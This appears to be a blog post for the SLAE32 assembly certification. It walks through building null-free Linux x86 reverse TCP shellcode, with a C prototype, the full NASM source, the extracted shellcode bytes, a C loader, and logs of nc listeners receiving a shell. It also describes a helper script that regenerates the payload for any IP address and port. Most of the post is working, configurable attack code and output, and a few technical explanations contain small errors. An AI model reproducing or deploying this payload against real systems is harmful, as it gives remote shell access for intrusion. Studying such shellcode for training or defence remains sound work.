This post introduces the second mission to my SLAE32 journey.
I spent a lot of time researching how to set up sockets or syscalls and taking notes which helped a lot to do this assigment. I won’t be as much detailed this time but guess what?
The best part is that we can reuse the majority of the bind shellcode to create a reverse shellcode!
Introduction
The second assignment for the SLAE32 is similar to the previous post one but in this case we need to develop a reverse TCP shellcode.
The requirements are:
- Reverse shell connects to the configured IP and port;
- Executing a shell on successful connection;
- The shellcode should be null-free;
- With the ability for the IP and port to be easily configurable. In other words, the IP and connection port should be easy to set up for the user.
What is a Reverse Shell?
A reverse shell instead of waiting for connections it connects back to a remote machine which is waiting for a connection of the target machine.
The input and output are redirect to the reverse shell socket so the remote machine can interact with the target machine remotely.
A TCP reverse shell is a common technique to bypass firewall restrictions and have access to systems that are unreachable from public networks.
Basics First
Before putting our hands-on on developing the shellcode, we should be familiar with the fundamental principles of how to create a proper reverse shell. This way, we will better understand how the internals work and where to debug if an error occurs.
My approach was to analyze TCP reverse shell implementation in a higher-level language, such as C.
C Prototype
Beforehand, analyzing the following code gives an idea of the structure and what syscalls need to be used.
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
int main () {
const char* ip = "127.0.0.1";
// Address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(9001);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
// 1) Socket Syscall
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
// 2) Connect Syscall
connect(sockfd, (struct sockadr *)&addr, sizeof(addr));
// 3) Dup2 Syscall
for (int i = 0; i < 3;i++) {
dup2(sockfd, i);
}
// 4) Execve Syscall
execve("/bin/sh", NULL, NULL);
return 0;
}
Testing the code to see how it behaves.
Compiling with gcc
$ gcc reverse.c -o reverse
As this is a reverse shell, we first need to execute a listener for port 9001 with nc. Then we can run reverse to establish a connection back to our listener.
The C reverse shell works as expected. From this we have a reference to build our shellcode.
Checking which syscalls are used
In total there are 4 syscalls enumerated below:
*socket* - 359 - 0x167
connect - 362 - 0x16a --> new syscall
*dup2* - 63 - 0x3f
*execve* - 11 - 0xb
The highlighted syscalls we already have the code from the previous assignment. The new addition is the connect syscall. The difference for the bind shell instead of defining a local interface we need to specify a remote IP and a port.
We can use the file /usr/include/x86_64-linux-gnu/asm/unistd_32
to check the definiton of each syscall.
As connect is the only new syscall I will only focused to review only that one. For the other please check assignment 1.
Connect syscall (0x16a)
The C code defines it as the following:
- Struct sockaddr_in
// Server Address struct
int sockfd, acceptfd;
int port = 9001; // Server Address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY;
- Connect syscall
// Address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(9001);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
// 1) Socket Syscall
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
// 2) Connect Syscall
connect(sockfd, (struct sockadr *)&addr, sizeof(addr));
With the following arguments:
- int sockfd - sockfd is the socket descriptor returned by socket() in eax.
- const struct sockaddr *addr - pointer to struct sockaddr that contains information about your IP address and por
- socklen_t addrlen - addrlen specifies the size, in bytes, of the address structure pointed to by addr. In other words, addrlen is set to sizeof(struct sockaddr).
The explanation on how to setup the value for these parameters is also the same provided in assignment 1 (2 - Bind Syscall (0x169) section).
“Assembling” our shellcode
For this one I didn’t put on effort to reduce the size of the shellcode. The isntructions here for same syscalls do the same thing but use more space in memory.
xor eax, eax
xor ebx, ebx
xor ecx, ecx
cdq ; zeroes edx (trick to use less space)
After this it’s time to set up the syscall arguments havinmg the C code as a reference.
; socket syscall
mov ax, 0x167
mov bl, 0x02
mov cl, 0x01
; edx is already zero
int 0x80 ; interruption syscall or interrupt vector. Returns pointer to the socket in eax
EAX contains 0x167 which is sys_socket as seen in /usr/include/i386-linux-gnu/asm/unistd_32.h
, then EBX is set to 0x2 (PF_INET).
Next the value 0x01 is moved into ECX which is the value of SOCK_STREAM
. EDX is already zero because of the previous cdq
instruction.
Just left to use the interruption syscall int 0x80
to create the socket.
If executed successfully, we have our socket. The next step is to setting up the connect syscall
.
Beforehand, let’s prepare the next syscall which is connect
; accept syscall
mov ebx, eax ; moves socket address to ebx (first arg of bind syscall - sockfd)
xor eax, eax
Then , the sockaddr_in
struct is created as follows:
; sockaddr struct
push edx ; pushing our 8 bytes of zero
push 0x0201017f ; 127.1.1.2 --> 0x7F010102, little-endian = 0x0201017F
push word 0x2923 ;little endian -> 9001 = 0x2329
push word 0x2
mov ecx, esp
The struct is finally defined. The most trickiest part to understand I must say.
EDX
is still zero so pushing zeroes will determine the end of the struct.
Next, we push 0x0201017f
which is the remote IP address (127.1.1.2).
Why 127.1.1.2 and 127.0.0.1?
The address 127.0.0.1 contains null-bytes (0x0100007f) which would break our shellcode. We need to go with an alternative way.
By using 127.1.1.2
, we avoid those null bytes (0x0201017f). This works because the localhost address has a netmask of 255.0.0.0
. The only limitation is the first 8 bytes, which is why the address 127.0.0.1
behaves the same way.
The next step is to load the stack with the port number. As intel works with the little-endian format, we push 0x2923
, which is the value 9001
. Lastly, pushing 0x2
refers to AF_INET
.
Now, it is just a matter of putting 0x10
(16 bytes) to EDX which represents the size of sockaddr_in
struct as mentioned in the previous section and execute the bind syscall with 0x169
in EAX.
mov dl, 0x10 ; sizeof struct
mov ax, 0x16a
int 0x80
It ends-up like this
; connect syscall
mov ebx, eax ; moves socket address to ebx (first arg - sockfd)
xor eax, eax
; sockaddr struct
push edx ; ; pushing our 8 bytes of zero
push 0x0201017f ; 127.1.1.2 --> 0x7F010102, little-endian = 0x0201017F
push word 0x2923 ;little endian -> 9001 = 0x2329
push word 0x2
mov ecx, esp
mov dl, 0x10 ; sizeof struct
mov ax, 0x16a
int 0x80
For dup2
we use a loop to use less instructions to save space while constructing a fully interactive bind shell.
; dup2 syscall
mov edx, eax ; edx is already zero
mov cl, 0x03
dup2:
;xor eax, eax
;mov al, 0x3f
push byte 0x3f
pop eax
mov ebx, edx
dec cl
int 0x80
jnz dup2 ; decrements ecx and jumps until ecx=0
We reach the final stage, using execve
syscall to execute /bin/sh
and spawn a shell when a connection is made to the bind port.
If all works as expected a system shell will be provided to the incoming connection which can interact with the target machine.
; execve
xor eax, eax
cdq
push eax
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp
mov al, 0xb
int 0x80
To help reverting the string used with execve I develop a script called the The x86 "Little-Hexdian" String Convert
which checks if a string passed as an argument is aligned and converts it to hexadecimal in little-endian format.
Available in https://github.com/0xnibbles/slae_x86/blob/main/revHex32.py
Final Assembly Code
; Student ID : PA-31319
; Student Name : Eduardo Silva
; Assignment 2 : TCP Reverse Shell (Linux/x86) Assembly
; File Name : reverse_shell.nasm
global _start
section .text
_start:
global _start
section .text
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
cdq ; zeroes edx
; socket syscall
mov ax, 0x167
mov bl, 0x02
mov cl, 0x01
; edx is already zero
int 0x80 ; interruption syscall or interrupt vector. Returns pointer to the socket in eax
; connect syscall
mov ebx, eax ; moves socket address to ebx (first arg - sockfd)
xor eax, eax
; sockaddr struct
push edx ; ; pushing our 8 bytes of zero
push 0x0201017f ; 127.1.1.2 --> 0x7F010102, little-endian = 0x0201017F
push word 0x2923 ;little endian -> 9001 = 0x2329
push word 0x2
mov ecx, esp
mov dl, 0x10 ; sizeof struct
mov ax, 0x16a
int 0x80
; dup2
xor ecx, ecx
mov cl, 0x03
dup2:
xor eax, eax
mov al, 0x3f
;mov ebx, edi
dec cl
int 0x80
jnz dup2 ; decrements ecx and jumps until ecx=0
; execve
xor eax, eax
cdq
push eax
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp
mov al, 0xb
int 0x80
Compiling and Testing the Shellcode
Checking assembler.sh
output
╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main›
╰─$ ls
bind bind.c bind_shell bind_shell.asm bind_shell.nasm bind_shell.o biShell.sh original_bind_shell.nasm syscalls
╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main›
╰─$ ../../assembler.sh bind_shell.nasm
[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done
Shellcode size: 78
"\x31\xc0\x31\xdb\x31\xc9\x99\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x52\x68\x7f\x01\x01\x02\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
--------------------
[*] Hack the World!
--------------------
No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x99\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x52\x68\x7f\x01\x01\x02\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling with gcc
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●›
╰─$ gcc -fno-stack-protector -m32 -z execstack -o rev_shell shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
Let’s use nc
to create a listener on port 9001
and then execute rev_shell
to connect it.
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●›
╰─$ ./rev_shell
Shellcode Length: 78
────────────────────────────────────────────────────
╭─edu@debian ~/Documents/blogGithub/dev-blog/0xnibbles ‹master●›
╰─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [127.1.1.2] from (UNKNOWN) [127.0.0.1] 35190
id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
rev_shell
executes with no errors and it connects back to our listener!
What if we want to change the IP address and the port?
One of the requirements for this assigment, is the ability to change easily the IP address and port used in the shellcode. For that, we can change the bytes in shellcode related to the port and changed them for specific port we want the bind shell waits for a connection.
The following shell script named revShell.sh
replaces the hardcoded 9001
with the port provided by the user as an argument. It automatically converts the port into hexadecimal little-endian format.
Available at https://github.com/0xnibbles/slae_x86/blob/main/assignments/2-Shell_Reverse_TCP/revShell.sh
It accepts two arguments - the desired IP address and port.
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●›
╰─$ ./revShell.sh
Usage: ./revShell.sh <ip address> <port (decimal)>
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●›
╰─$ ./revShell.sh 127.1.1.3 9999
[*] Doing magic with your IP address and port number
[*] Done
Enjoy this Reverse TCP Shellcode with the IP 127.1.1.3 and port 9999
"\x31\xc0\x31\xdb\x31\xc9\x99\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x52\x68\x7f\x01\x01\x03\x66\x68\x27\x0F\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
--------------------
[*] Hack the World!
--------------------
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●›
╰─$ gcc -fno-stack-protector -m32 -z execstack -o rev_shell9999 shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●›
╰─$ ./rev_shell9999
Shellcode Length: 78
────────────────────────────────────────────────────
╭─edu@debian ~/Documents/blogGithub/dev-blog/0xnibbles ‹master●›
╰─$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [127.1.1.3] from (UNKNOWN) [127.0.0.1] 33880
id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
ls
revShell.sh
rev_shell
rev_shell9999
reverse
reverse.c
reverse_shell
reverse_shell.nasm
reverse_shell.o
shellcode.c
syscalls
testIP.sh
We get a shell!!!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-31319
All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86